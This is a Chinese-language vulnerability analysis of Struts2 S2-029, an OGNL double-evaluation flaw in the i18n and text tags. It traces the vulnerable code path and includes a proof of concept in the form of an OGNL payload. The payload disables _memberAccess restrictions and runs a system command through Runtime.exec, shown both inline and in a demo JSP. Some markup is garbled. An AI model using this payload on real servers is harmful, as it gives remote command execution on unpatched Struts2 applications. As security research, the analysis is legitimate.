欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

S2-029 Struts2 标签库远程代码执行分析(含POC)

程序员文章站 2022-07-10 10:50:11
Struts2标签库提供了主题、模板支持,极大地简化了视图页面的编写,而且,struts2的主题、模板都提供了很好的扩展性。实现了更好的代码复用。 Struts2允许在页面中使用自...

Struts2标签库提供了主题、模板支持,极大地简化了视图页面的编写,而且,struts2的主题、模板都提供了很好的扩展性。实现了更好的代码复用。 Struts2允许在页面中使用自定义组件,这完全能满足项目中页面显示复杂,多变的需求。
Struts2的标签库有一个巨大的改进之处,struts2标签库的标签不依赖于任何表现层技术,也就是说 strtus2提供了大部分标签,可以在各种表现技术中使用。包括最常用的jsp页面,也可以说 Velocity 和FreeMarker等模板技术中的使用。
0×01 漏洞分析
struts2的i18n,text标签的 name属性处理的时候会经过两次ognl执行,从而导致远程代码执行。
标签使用如下所示:
xxxxx
xxxxx
上面两个标签name属性都存在问题 下面对i18n标签做分析
跟踪i18n标签name 属性在代码中的处理:
org.apache.struts2.components.I18n
......
public boolean start(Writer writer) {
boolean result = super.start(writer);
try
{
String name = findString(this.name,"name", "Resource bundle name is required. Example: foo orfoo_en");//对i18n的name属性进行ognl执行并将结果赋值给name
ResourceBundle bundle = (ResourceBundle)findValue("getTexts('"+ name + "')");//对上面获取的name属性继续做ognl表达式执行
......
}
}
其中对findString方法进行跟踪,则可以跟踪到
com.opensymphony.xwork2.ognl.OgnlValueStack的protected Object findValue(Stringexpr, String field, String errorMsg) 方法,该方法是用来执行ognl表达式。
其中findValue方法进行跟踪,则可以跟踪到
com.opensymphony.xwork2.ognl.OgnlValueStack的public Object findValue(Stringexpr, boolean throwExceptionOnFailure) 方法,该方法也是用来执行ognl表达式。
测试流程:
假设设置request的lan 属性为:
'),request,#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/dbapptest'),new java.lang.String('
其中运行的ognl表达式为%{request.lan}, 则第一次ognl表达式执行结果为:
'),request,#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/dbapptest'),new java.lang.String('
执行完成之后name的值为:
'),request,#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/dbapptest'),new java.lang.String('
然后将name值传入下面一行代码执行ognl, 其中ognl表达式为
getText(''),request,#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/dbapptest'),new java.lang.String('')
从而导致命令执行在/tmp目录下生成dbapptest 文件
其中poc中需要设置#_memberAccess['allowPrivateAccess']=true 用来授权访问private方法,
#_memberAccess['allowStaticMethodAccess']=true 用来授权允许调用静态方法,
#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties']用来将受限的包名设置为空
#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties']用来将受限的类名设置为空
#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch/tmp/dbapptest’),new java.lang.String(”)执行系统命令
0×02 漏洞poc
%@pageimport="java.util.HashSet"%>
%@ pagecontentType="text/html;charset=UTF-8" language="java" %>
%@ taglib prefix="s"uri="/struts-tags" %>
html>
head>title>Demo jsppagetitle>head>
body>
%
request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/fuckxxx'),new java.lang.String('");
%>
s:i18nname="%{#request.lan}">xxxxxs:i18n>
body>
html>